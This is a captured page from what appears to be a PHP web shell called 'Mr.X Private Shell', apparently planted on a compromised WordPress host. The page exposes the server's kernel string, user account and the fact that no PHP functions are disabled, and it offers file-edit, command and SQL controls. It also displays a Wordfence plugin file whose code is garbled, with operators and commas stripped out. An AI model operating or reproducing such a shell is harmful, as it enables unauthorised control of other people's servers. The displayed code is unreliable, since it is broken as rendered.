Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/////plugins/wordfence/lib      ( Reset | Go to )
File Name: wfBinaryList.php
Edit
<?php

/**
 * Class wfBinaryList implements an interface to interact with binary lists. These are internally a sorted list of 
 * values of a specific size. The sorted aspect allows for very quick searching.
 */
class wfBinaryList {
    private 
$size 0;
    private 
$list '';
    
    public function 
__construct($binary) {
        
$this->size ord(wfWAFUtils::substr($binary01));
        
$this->list wfWAFUtils::substr($binary1);
    }
    
    public function 
contains($value) {
        if (
$this->size == 0) { return false; }
        
$length wfWAFUtils::strlen($this->list);
        if (
$length == 0) { return false; }
        
        
$p wfWAFUtils::substr($value0$this->size);
        
        
$count ceil($length $this->size);
        
$low 0;
        
$high $count 1;
        
        while (
$low <= $high) {
            
$mid = (int) (($high $low) / 2);
            
$val wfWAFUtils::substr($this->list$mid $this->size$this->size);
            
$cmp strcmp($val$p);
            if (
$cmp 0) {
                
$low $mid 1;
            }
            else if (
$cmp 0) {
                
$high $mid 1;
            }
            else {
                return 
$mid;
            }
        }
        
        return 
false;
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL